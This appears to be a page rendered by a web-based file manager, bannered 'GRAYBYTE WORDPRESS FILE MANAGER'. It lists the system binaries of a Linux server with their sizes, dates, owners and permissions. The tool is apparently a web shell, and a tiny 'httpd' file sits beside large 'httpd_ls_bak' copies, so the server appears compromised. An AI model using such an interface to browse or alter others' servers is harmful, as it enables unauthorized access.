10 Sep 2026 2.30 PM
root / root
0755
exim_lock
22.781 KB
10 Sep 2026 2.30 PM
root / root
0755
exim_tidydb
32.688 KB
10 Sep 2026 2.30 PM
root / root
0755
eximstats
148.971 KB
10 Sep 2026 2.30 PM
root / root
0755
exinext
8.024 KB
10 Sep 2026 2.30 PM
root / root
0755
exiqgrep
6.581 KB
10 Sep 2026 2.30 PM
root / root
0755
exiqsumm
6.292 KB
10 Sep 2026 2.30 PM
root / root
0755
exiwhat
4.418 KB
10 Sep 2026 2.30 PM
root / root
0755
exportfs
68.469 KB
8 Apr 2026 4.14 PM
root / root
0755
faillock
23.18 KB
8 Sep 2026 12.43 PM
root / root
0755
fancontrol
17.179 KB
10 Feb 2022 7.46 AM
root / root
0755
fatlabel
40.016 KB
29 Jan 2022 6.41 PM
root / root
0755
fcgistarter
24.711 KB
8 Sep 2026 10.56 PM
root / root
0755
fdformat
23.188 KB
4 Apr 2026 10.15 PM
root / root
0755
fdisk
112.07 KB
4 Apr 2026 10.15 PM
root / root
0755
filefrag
19.219 KB
21 Sep 2025 3.03 PM
root / root
0755
findfs
15.156 KB
4 Apr 2026 10.15 PM
root / root
0755
firewalld
9.755 KB
4 Aug 2026 8.19 PM
root / root
0755
fix-info-dir
7.849 KB
1 May 2022 1.12 PM
root / root
0755
fixfiles
12.097 KB
4 Apr 2026 11.51 PM
root / root
0755
fixparts
60.977 KB
30 Jan 2022 11.44 PM
root / root
0755
flashrom
911.977 KB
11 Feb 2022 9.46 PM
root / root
0755
fsck
43.547 KB
4 Apr 2026 10.15 PM
root / root
0755
fsck.cramfs
31.375 KB
4 Apr 2026 10.15 PM
root / root
0755
fsck.ext2
356.086 KB
21 Sep 2025 3.03 PM
root / root
0755
fsck.ext3
356.086 KB
21 Sep 2025 3.03 PM
root / root
0755
fsck.ext4
356.086 KB
21 Sep 2025 3.03 PM
root / root
0755
fsck.fat
84.563 KB
29 Jan 2022 6.41 PM
root / root
0755
fsck.minix
55.711 KB
4 Apr 2026 10.15 PM
root / root
0755
fsck.msdos
84.563 KB
29 Jan 2022 6.41 PM
root / root
0755
fsck.vfat
84.563 KB
29 Jan 2022 6.41 PM
root / root
0755
fsck.xfs
2.537 KB
21 Sep 2025 1.01 PM
root / root
0755
fsfreeze
15.148 KB
4 Apr 2026 10.15 PM
root / root
0755
fstrim
43.5 KB
4 Apr 2026 10.15 PM
root / root
0755
fuser
41.086 KB
25 Mar 2022 3.53 PM
root / root
0755
g13-syshelp
88.602 KB
15 Jan 2026 9.34 PM
root / root
0755
gdisk
187.383 KB
30 Jan 2022 11.44 PM
root / root
0755
genhomedircon
32.039 KB
4 Apr 2026 11.52 PM
root / root
0755
genhostid
15.281 KB
12 Mar 2025 7.47 PM
root / root
0755
genl
130.148 KB
5 Apr 2026 8.31 AM
root / root
0755
getcap
15.133 KB
20 May 2026 10.00 AM
root / root
0755
getenforce
15.273 KB
12 Mar 2025 11.36 PM
root / root
0755
getpcaps
15.125 KB
20 May 2026 10.00 AM
root / root
0755
getpidprevcon
15.289 KB
12 Mar 2025 11.36 PM
root / root
0755
getpolicyload
15.281 KB
12 Mar 2025 11.36 PM
root / root
0755
getsebool
15.297 KB
12 Mar 2025 11.36 PM
root / root
0755
groupadd
68.773 KB
8 Apr 2026 7.49 PM
root / root
0755
groupdel
64.531 KB
8 Apr 2026 7.49 PM
root / root
0755
groupmems
55.773 KB
8 Apr 2026 7.49 PM
root / root
0755
groupmod
72.758 KB
8 Apr 2026 7.49 PM
root / root
0755
grpck
59.758 KB
8 Apr 2026 7.49 PM
root / root
0755
grpconv
51.563 KB
8 Apr 2026 7.49 PM
root / root
0755
grpunconv
51.531 KB
8 Apr 2026 7.49 PM
root / root
0755
grub2-bios-setup
1.67 MB
6 Apr 2026 12.55 PM
root / root
0755
grub2-get-kernel-settings
2.682 KB
6 Apr 2026 12.55 PM
root / root
0755
grub2-install
1.97 MB
6 Apr 2026 12.55 PM
root / root
0755
grub2-macbless
1.65 MB
6 Apr 2026 12.55 PM
root / root
0755
grub2-mkconfig
9.21 KB
6 Apr 2026 12.55 PM
root / root
0755
grub2-probe
1.67 MB
6 Apr 2026 12.55 PM
root / root
0755
grub2-reboot
4.701 KB
6 Apr 2026 12.55 PM
root / root
0755
grub2-set-bootflag
15.094 KB
6 Apr 2026 12.55 PM
root / root
4755
grub2-set-default
3.455 KB
6 Apr 2026 12.55 PM
root / root
0755
grub2-set-password
2.743 KB
6 Apr 2026 12.55 PM
root / root
0755
grub2-setpassword
2.743 KB
6 Apr 2026 12.55 PM
root / root
0755
grub2-switch-to-blscfg
8.813 KB
6 Apr 2026 12.55 PM
root / root
0755
grubby
0.254 KB
14 Apr 2026 4.50 PM
root / root
0755
gssproxy
124.891 KB
2 Oct 2024 11.09 PM
root / root
0755
halt
298.414 KB
25 Jun 2026 12.28 AM
root / root
0755
htcacheclean
52.805 KB
8 Sep 2026 10.56 PM
root / root
0755
httpd
1.821 KB
12 Sep 2026 4.57 AM
root / nobody
0755
httpd_ls_bak
1.09 MB
8 Sep 2026 10.56 PM
root / root
0755
httpd_ls_bak_bak
1.09 MB
11 Aug 2026 10.34 PM
root / root
0755
hwclock
59.766 KB
4 Apr 2026 10.15 PM
root / root
0755
iconvconfig
31.672 KB
3 Aug 2026 10.14 AM
root / root
0755
ifconfig
78.984 KB
2 Oct 2024 7.02 PM
root / root
0755
ifenslave
23.734 KB
20 Oct 2025 12.44 PM
root / root
0755
ifstat
39.602 KB
5 Apr 2026 8.31 AM
root / root
0755
imunify-notifier
9.85 MB
7 Jul 2026 8.56 AM
root / root
0755
init
95.742 KB
25 Jun 2026 12.28 AM
root / root
0755
insmod
165.57 KB
18 Sep 2025 11.41 AM
root / root
0755
install-info
106.695 KB
1 May 2022 1.12 PM
root / root
0755
installkernel
0.315 KB
14 Apr 2026 4.50 PM
root / root
0755
intel_sdsi
22.43 KB
11 Sep 2026 1.34 PM
root / root
0755
ip
774.32 KB
5 Apr 2026 8.31 AM
root / root
0755
ip6tables
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ip6tables-nft
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ip6tables-nft-restore
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ip6tables-nft-save
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ip6tables-restore
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ip6tables-restore-translate
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ip6tables-save
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ip6tables-translate
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
ipmaddr
19.445 KB
2 Oct 2024 7.02 PM
root / root
0755
ipset
15.273 KB
4 Feb 2025 3.39 AM
root / root
0755
ipset-translate
15.273 KB
4 Feb 2025 3.39 AM
root / root
0755
iptables
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
iptables-nft
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
iptables-nft-restore
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
iptables-nft-save
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
iptables-restore
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
iptables-restore-translate
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
iptables-save
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
iptables-translate
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
iptunnel
19.5 KB
2 Oct 2024 7.02 PM
root / root
0755
irqbalance
64.445 KB
8 Apr 2026 4.40 PM
root / root
0755
irqbalance-ui
39.586 KB
8 Apr 2026 4.40 PM
root / root
0755
isadump
15.727 KB
10 Feb 2022 7.46 AM
root / root
0755
isaset
15.813 KB
10 Feb 2022 7.46 AM
root / root
0755
kexec
192.594 KB
8 Apr 2026 6.11 PM
root / root
0755
key.dns_resolver
31.352 KB
5 Apr 2023 7.15 PM
root / root
0755
kpartx
47.523 KB
5 Apr 2026 12.24 AM
root / root
0755
lchage
23.164 KB
21 Sep 2025 10.53 AM
root / root
0755
ldattach
27.227 KB
4 Apr 2026 10.15 PM
root / root
0755
ldconfig
1.12 MB
3 Aug 2026 10.14 AM
root / root
0755
lgroupadd
15.117 KB
21 Sep 2025 10.53 AM
root / root
0755
lgroupdel
15.109 KB
21 Sep 2025 10.53 AM
root / root
0755
lgroupmod
23.125 KB
21 Sep 2025 10.53 AM
root / root
0755
lid
19.133 KB
21 Sep 2025 10.53 AM
root / root
0755
lnewusers
23.125 KB
21 Sep 2025 10.53 AM
root / root
0755
lnstat
23.594 KB
5 Apr 2026 8.31 AM
root / root
0755
load_policy
15.117 KB
4 Apr 2026 11.52 PM
root / root
0755
logrotate
95.664 KB
21 Sep 2025 12.04 PM
root / root
0755
logsave
15.188 KB
21 Sep 2025 3.03 PM
root / root
0755
losetup
72.086 KB
4 Apr 2026 10.15 PM
root / root
0755
lpasswd
23.125 KB
21 Sep 2025 10.53 AM
root / root
0755
lshw
853.578 KB
9 Apr 2026 6.29 PM
root / root
0755
lsmod
165.57 KB
18 Sep 2025 11.41 AM
root / root
0755
lspci
97.57 KB
12 Mar 2025 8.27 PM
root / root
0755
luseradd
23.125 KB
21 Sep 2025 10.53 AM
root / root
0755
luserdel
15.117 KB
21 Sep 2025 10.53 AM
root / root
0755
lusermod
23.133 KB
21 Sep 2025 10.53 AM
root / root
0755
makedumpfile
431.844 KB
8 Apr 2026 6.11 PM
root / root
0755
mariadbd
25.22 MB
19 Aug 2026 10.03 AM
root / root
0755
matchpathcon
15.313 KB
12 Mar 2025 11.36 PM
root / root
0755
md-auto-readd.sh
0.392 KB
28 Jul 2026 10.33 AM
root / root
0755
mdadm
633.945 KB
28 Jul 2026 10.36 AM
root / root
0755
mdmon
296.344 KB
28 Jul 2026 10.36 AM
root / root
0755
mii-diag
24.195 KB
2 Oct 2024 7.02 PM
root / root
0755
mii-tool
27.781 KB
2 Oct 2024 7.02 PM
root / root
0755
mkdict
0.249 KB
9 Apr 2026 5.18 AM
root / root
0755
mkdosfs
52.508 KB
29 Jan 2022 6.41 PM
root / root
0755
mkdumprd
12.127 KB
8 Apr 2026 6.11 PM
root / root
0755
mke2fs
132.531 KB
21 Sep 2025 3.03 PM
root / root
0755
mkfs
15.172 KB
4 Apr 2026 10.15 PM
root / root
0755
mkfs.cramfs
35.375 KB
4 Apr 2026 10.15 PM
root / root
0755
mkfs.ext2
132.531 KB
21 Sep 2025 3.03 PM
root / root
0755
mkfs.ext3
132.531 KB
21 Sep 2025 3.03 PM
root / root
0755
mkfs.ext4
132.531 KB
21 Sep 2025 3.03 PM
root / root
0755
mkfs.fat
52.508 KB
29 Jan 2022 6.41 PM
root / root
0755
mkfs.minix
43.555 KB
4 Apr 2026 10.15 PM
root / root
0755
mkfs.msdos
52.508 KB
29 Jan 2022 6.41 PM
root / root
0755
mkfs.vfat
52.508 KB
29 Jan 2022 6.41 PM
root / root
0755
mkfs.xfs
450.773 KB
21 Sep 2025 1.02 PM
root / root
0755
mkhomedir_helper
23.211 KB
8 Sep 2026 12.43 PM
root / root
0755
mklost+found
15.117 KB
21 Sep 2025 3.03 PM
root / root
0755
mksquashfs
197.617 KB
3 Apr 2024 1.45 PM
root / root
0755
mkswap
47.5 KB
4 Apr 2026 10.15 PM
root / root
0755
modinfo
165.57 KB
18 Sep 2025 11.41 AM
root / root
0755
modprobe
165.57 KB
18 Sep 2025 11.41 AM
root / root
0755
modsec-sdbm-util
33.563 KB
11 Aug 2026 10.29 PM
root / root
0750
mount.fuse
15.336 KB
12 Mar 2025 7.30 PM
root / root
0755
mount.nfs
100.523 KB
8 Apr 2026 4.14 PM
root / root
4755
mount.nfs4
100.523 KB
8 Apr 2026 4.14 PM
root / root
4755
mountstats
42.499 KB
8 Apr 2026 4.13 PM
root / root
0755
mysqld
25.22 MB
19 Aug 2026 10.03 AM
root / root
0755
named
545.023 KB
13 Aug 2026 11.36 AM
root / root
0755
named-checkconf
39.398 KB
13 Aug 2026 11.36 AM
root / root
0755
named-checkzone
39.344 KB
13 Aug 2026 11.36 AM
root / root
0755
named-compilezone
39.344 KB
13 Aug 2026 11.36 AM
root / root
0755
named-journalprint
15.133 KB
13 Aug 2026 11.36 AM
root / root
0755
named-nzd2nzf
15.117 KB
13 Aug 2026 11.36 AM
root / root
0755
nameif
15.578 KB
2 Oct 2024 7.02 PM
root / root
0755
newusers
88.703 KB
8 Apr 2026 7.49 PM
root / root
0755
nfsconf
39.859 KB
8 Apr 2026 4.14 PM
root / root
0755
nfsdcld
55.867 KB
8 Apr 2026 4.14 PM
root / root
0755
nfsdclddb
9.99 KB
8 Apr 2026 4.13 PM
root / root
0755
nfsdclnts
9.054 KB
8 Apr 2026 4.13 PM
root / root
0755
nfsdcltrack
39.914 KB
8 Apr 2026 4.14 PM
root / root
0755
nfsidmap
23.297 KB
8 Apr 2026 4.14 PM
root / root
0755
nfsiostat
23.35 KB
8 Apr 2026 4.13 PM
root / root
0755
nfsref
43.516 KB
8 Apr 2026 4.14 PM
root / root
0755
nfsstat
38.273 KB
8 Apr 2026 4.14 PM
root / root
0755
nft
27.172 KB
26 Aug 2026 12.09 PM
root / root
0755
nologin
15.156 KB
4 Apr 2026 10.15 PM
root / root
0755
nscd
162.945 KB
3 Aug 2026 10.14 AM
root / root
0755
nsec3hash
15.195 KB
13 Aug 2026 11.36 AM
root / root
0755
nstat
31.336 KB
5 Apr 2026 8.31 AM
root / root
0755
nvme
1.61 MB
8 Apr 2026 7.02 PM
root / root
0755
oddjobd
71.836 KB
7 Apr 2023 12.20 AM
root / root
0755
ownership
15.133 KB
9 Apr 2026 7.32 AM
root / root
0755
packer
15.109 KB
9 Apr 2026 5.18 AM
root / root
0755
pam_console_apply
43.508 KB
8 Sep 2026 12.43 PM
root / root
0755
pam_namespace_helper
0.46 KB
8 Sep 2026 12.42 PM
root / root
0755
pam_timestamp_check
15.133 KB
8 Sep 2026 12.43 PM
root / root
4755
paperconfig
4.075 KB
10 Feb 2022 1.15 AM
root / root
0755
parted
96.391 KB
12 Mar 2025 8.00 PM
root / root
0755
partprobe
15.336 KB
12 Mar 2025 8.00 PM
root / root
0755
partx
59.766 KB
4 Apr 2026 10.15 PM
root / root
0755
pdns_server
5.88 MB
10 Aug 2026 7.14 PM
root / root
0755
pidof
23.328 KB
30 Apr 2024 4.43 PM
root / root
0755
ping
89.328 KB
20 Oct 2025 12.44 PM
root / root
0755
ping6
89.328 KB
20 Oct 2025 12.44 PM
root / root
0755
pivot_root
15.156 KB
4 Apr 2026 10.15 PM
root / root
0755
plipconfig
15.352 KB
2 Oct 2024 7.02 PM
root / root
0755
poweroff
298.414 KB
25 Jun 2026 12.28 AM
root / root
0755
pwck
55.602 KB
8 Apr 2026 7.49 PM
root / root
0755
pwconv
47.445 KB
8 Apr 2026 7.49 PM
root / root
0755
pwhistory_helper
19.195 KB
8 Sep 2026 12.43 PM
root / root
0755
pwmconfig
22.91 KB
10 Feb 2022 7.46 AM
root / root
0755
pwunconv
47.406 KB
8 Apr 2026 7.49 PM
root / root
0755
quotacheck
93.617 KB
12 Mar 2025 8.44 PM
root / root
0755
quotaoff
56.672 KB
12 Mar 2025 8.44 PM
root / root
0755
quotaon
56.672 KB
12 Mar 2025 8.44 PM
root / root
0755
quotastats
15.336 KB
12 Mar 2025 8.44 PM
root / root
0755
raid-check
3.708 KB
28 Jul 2026 10.33 AM
root / root
0755
rdisc
31.359 KB
20 Oct 2025 12.44 PM
root / root
0755
rdma
117.063 KB
5 Apr 2026 8.31 AM
root / root
0755
readprofile
23.266 KB
4 Apr 2026 10.15 PM
root / root
0755
reboot
298.414 KB
25 Jun 2026 12.28 AM
root / root
0755
repquota
77.555 KB
12 Mar 2025 8.44 PM
root / root
0755
request-key
27.289 KB
5 Apr 2023 7.15 PM
root / root
0755
resize2fs
67.641 KB
21 Sep 2025 3.03 PM
root / root
0755
resizepart
23.398 KB
4 Apr 2026 10.15 PM
root / root
0755
restorecon
23.188 KB
4 Apr 2026 11.52 PM
root / root
0755
restorecon_xattr
15.125 KB
4 Apr 2026 11.52 PM
root / root
0755
rfkill
31.344 KB
4 Apr 2026 10.15 PM
root / root
0755
rmmod
165.57 KB
18 Sep 2025 11.41 AM
root / root
0755
rndc
43.25 KB
13 Aug 2026 11.36 AM
root / root
0755
rndc-confgen
23.258 KB
13 Aug 2026 11.36 AM
root / root
0755
rotatelogs
38.133 KB
8 Sep 2026 10.56 PM
root / root
0755
route
65.773 KB
2 Oct 2024 7.02 PM
root / root
0755
rpc.gssd
88.109 KB
8 Apr 2026 4.14 PM
root / root
0755
rpc.idmapd
47.734 KB
8 Apr 2026 4.14 PM
root / root
0755
rpc.mountd
132.555 KB
8 Apr 2026 4.14 PM
root / root
0755
rpc.nfsd
40 KB
8 Apr 2026 4.14 PM
root / root
0755
rpc.statd
80.789 KB
8 Apr 2026 4.14 PM
root / root
0755
rpcbind
59.891 KB
3 Apr 2024 1.53 PM
root / root
0755
rpcctl
9.419 KB
8 Apr 2026 4.13 PM
root / root
0755
rpcdebug
18.656 KB
8 Apr 2026 4.14 PM
root / root
0755
rpcinfo
35.578 KB
3 Apr 2024 1.53 PM
root / root
0755
rsyslogd
806.875 KB
14 Apr 2026 8.44 PM
root / root
0755
rtacct
29.344 KB
5 Apr 2026 8.31 AM
root / root
0755
rtcwake
35.258 KB
4 Apr 2026 10.15 PM
root / root
0755
rtkitctl
15.242 KB
2 Oct 2024 9.35 PM
root / root
0755
rtmon
126.055 KB
5 Apr 2026 8.31 AM
root / root
0755
rtstat
23.594 KB
5 Apr 2026 8.31 AM
root / root
0755
runlevel
298.414 KB
25 Jun 2026 12.28 AM
root / root
0755
runq
1.65 MB
10 Sep 2026 2.30 PM
root / root
4755
runuser
55.609 KB
4 Apr 2026 10.15 PM
root / root
0755
sasldblistusers2
15.273 KB
25 Sep 2025 11.46 AM
root / root
0755
saslpasswd2
15.242 KB
25 Sep 2025 11.46 AM
root / root
0755
sefcontext_compile
72.383 KB
12 Mar 2025 11.36 PM
root / root
0755
selabel_digest
15.313 KB
12 Mar 2025 11.36 PM
root / root
0755
selabel_get_digests_all_partial_matches
15.328 KB
12 Mar 2025 11.36 PM
root / root
0755
selabel_lookup
15.305 KB
12 Mar 2025 11.36 PM
root / root
0755
selabel_lookup_best_match
15.313 KB
12 Mar 2025 11.36 PM
root / root
0755
selabel_partial_match
15.305 KB
12 Mar 2025 11.36 PM
root / root
0755
selinux_check_access
15.313 KB
12 Mar 2025 11.36 PM
root / root
0755
selinuxconlist
15.305 KB
12 Mar 2025 11.36 PM
root / root
0755
selinuxdefcon
15.305 KB
12 Mar 2025 11.36 PM
root / root
0755
selinuxenabled
15.273 KB
12 Mar 2025 11.36 PM
root / root
0755
selinuxexeccon
15.289 KB
12 Mar 2025 11.36 PM
root / root
0755
semanage
40.639 KB
5 Apr 2026 11.05 AM
root / root
0755
semodule
32.039 KB
4 Apr 2026 11.52 PM
root / root
0755
sendmail
18.078 KB
10 Sep 2026 2.30 PM
root / mailtrap
2755
sensors-detect
214.764 KB
10 Feb 2022 7.46 AM
root / root
0755
service
4.515 KB
27 Aug 2024 11.35 AM
root / root
0755
sestatus
23.125 KB
4 Apr 2026 11.52 PM
root / root
0755
setcap
15.125 KB
20 May 2026 10.00 AM
root / root
0755
setenforce
15.297 KB
12 Mar 2025 11.36 PM
root / root
0755
setfiles
23.188 KB
4 Apr 2026 11.52 PM
root / root
0755
setpci
31.352 KB
12 Mar 2025 8.27 PM
root / root
0755
setquota
81.578 KB
12 Mar 2025 8.44 PM
root / root
0755
setsebool
19.148 KB
4 Apr 2026 11.52 PM
root / root
0755
sfdisk
103.984 KB
4 Apr 2026 10.15 PM
root / root
0755
sgdisk
167.141 KB
30 Jan 2022 11.44 PM
root / root
0755
showmount
15.477 KB
8 Apr 2026 4.14 PM
root / root
0755
shutdown
298.414 KB
25 Jun 2026 12.28 AM
root / root
0755
skdump
19.609 KB
9 Feb 2022 9.01 PM
root / root
0755
sktest
15.508 KB
9 Feb 2022 9.01 PM
root / root
0755
slattach
37.57 KB
2 Oct 2024 7.02 PM
root / root
0755
sm-notify
51.773 KB
8 Apr 2026 4.14 PM
root / root
0755
smartctl
853.836 KB
8 Apr 2026 8.38 PM
root / root
0755
smartd
615.469 KB
8 Apr 2026 8.38 PM
root / root
0755
ss
131.32 KB
5 Apr 2026 8.31 AM
root / root
0755
sshd
406.898 KB
29 Jul 2026 11.09 PM
root / root
0755
sss_cache
35.25 KB
23 Jul 2026 7.31 PM
root / root
0755
sssd
71.609 KB
23 Jul 2026 7.31 PM
root / root
0755
start-statd
1.003 KB
10 Jun 2021 6.07 PM
root / root
0755
start-stop-daemon
48.648 KB
23 Mar 2026 1.44 PM
root / root
0755
suexec
37.602 KB
8 Sep 2026 10.56 PM
root / nobody
4755
sulogin
43.398 KB
4 Apr 2026 10.15 PM
root / root
0755
sw-engine-fpm
24.14 MB
1 Jan 1990 12.00 PM
root / root
0755
swaplabel
19.188 KB
4 Apr 2026 10.15 PM
root / root
0755
swapoff
23.266 KB
4 Apr 2026 10.15 PM
root / root
0755
swapon
43.313 KB
4 Apr 2026 10.15 PM
root / root
0755
switch_root
23.203 KB
4 Apr 2026 10.15 PM
root / root
0755
sysctl
31.492 KB
30 Apr 2024 4.43 PM
root / root
0755
tc
640.094 KB
5 Apr 2026 8.31 AM
root / root
0755
telinit
298.414 KB
25 Jun 2026 12.28 AM
root / root
0755
tipc
92.797 KB
5 Apr 2026 8.31 AM
root / root
0755
tmpwatch
36.031 KB
11 Feb 2022 11.52 AM
root / root
0755
tracepath
19.219 KB
20 Oct 2025 12.44 PM
root / root
0755
tracepath6
19.219 KB
20 Oct 2025 12.44 PM
root / root
0755
tsig-keygen
27.258 KB
13 Aug 2026 11.36 AM
root / root
0755
tune2fs
104.461 KB
21 Sep 2025 3.03 PM
root / root
0755
udevadm
587.852 KB
25 Jun 2026 12.28 AM
root / root
0755
umount.nfs
100.523 KB
8 Apr 2026 4.14 PM
root / root
4755
umount.nfs4
100.523 KB
8 Apr 2026 4.14 PM
root / root
4755
umount.udisks2
15.133 KB
20 Oct 2025 1.58 PM
root / root
0755
unix_chkpwd
23.289 KB
8 Sep 2026 12.43 PM
root / root
4755
unix_update
31.328 KB
8 Sep 2026 12.43 PM
root / root
0700
unsquashfs
113.805 KB
3 Apr 2024 1.45 PM
root / root
0755
update-alternatives
39.594 KB
12 Mar 2025 10.43 AM
root / root
0755
update-pciids
1.716 KB
12 Mar 2025 8.27 PM
root / root
0755
update-smart-drivedb
23.325 KB
8 Apr 2026 8.37 PM
root / root
0755
useradd
137.836 KB
8 Apr 2026 7.49 PM
root / root
0755
userdel
88.836 KB
8 Apr 2026 7.49 PM
root / root
0755
usermod
129.664 KB
8 Apr 2026 7.49 PM
root / root
0755
validatetrans
15.289 KB
12 Mar 2025 11.36 PM
root / root
0755
vdpa
35.875 KB
5 Apr 2026 8.31 AM
root / root
0755
vigr
58.156 KB
8 Apr 2026 7.49 PM
root / root
0755
vipw
58.156 KB
8 Apr 2026 7.49 PM
root / root
0755
visudo
267.266 KB
21 May 2026 1.23 AM
root / root
0755
vmcore-dmesg
27.297 KB
8 Apr 2026 6.11 PM
root / root
0755
vpddecode
19.148 KB
9 Apr 2026 7.32 AM
root / root
0755
weak-modules
33.578 KB
18 Sep 2025 11.29 AM
root / root
0755
whmapi0
3.32 MB
18 Aug 2026 4.57 AM
root / root
0755
whmapi1
3.32 MB
18 Aug 2026 4.57 AM
root / root
0755
whmlogin
2.334 KB
9 Feb 2022 6.45 PM
root / root
0755
wipefs
39.281 KB
4 Apr 2026 10.15 PM
root / root
0755
xfs_admin
2.127 KB
21 Sep 2025 1.01 PM
root / root
0755
xfs_bmap
0.683 KB
21 Sep 2025 1.01 PM
root / root
0755
xfs_copy
92.617 KB
21 Sep 2025 1.02 PM
root / root
0755
xfs_db
708.078 KB
21 Sep 2025 1.02 PM
root / root
0755
xfs_estimate
15.164 KB
21 Sep 2025 1.02 PM
root / root
0755
xfs_freeze
0.785 KB
21 Sep 2025 1.01 PM
root / root
0755
xfs_fsr
43.508 KB
21 Sep 2025 1.02 PM
root / root
0755
xfs_growfs
43.633 KB
21 Sep 2025 1.02 PM
root / root
0755
xfs_info
1.268 KB
21 Sep 2025 1.01 PM
root / root
0755
xfs_io
202.594 KB
21 Sep 2025 1.02 PM
root / root
0755
xfs_logprint
88.258 KB
21 Sep 2025 1.02 PM
root / root
0755
xfs_mdrestore
27.281 KB
21 Sep 2025 1.02 PM
root / root
0755
xfs_metadump
0.768 KB
21 Sep 2025 1.01 PM
root / root
0755
xfs_mkfile
1.02 KB
21 Sep 2025 1.01 PM
root / root
0755
xfs_ncheck
0.673 KB
21 Sep 2025 1.01 PM
root / root
0755
xfs_quota
92.102 KB
21 Sep 2025 1.02 PM
root / root
0755
xfs_repair
686.234 KB
21 Sep 2025 1.02 PM
root / root
0755
xfs_rtcp
19.141 KB
21 Sep 2025 1.02 PM
root / root
0755
xfs_spaceman
43.781 KB
21 Sep 2025 1.02 PM
root / root
0755
xqmstats
15.328 KB
12 Mar 2025 8.44 PM
root / root
0755
xtables-monitor
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
xtables-nft-multi
231.406 KB
4 Feb 2025 3.47 AM
root / root
0755
zic
59.625 KB
3 Aug 2026 10.14 AM
root / root
0755
zramctl
55.867 KB
4 Apr 2026 10.15 PM
root / root
0755

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF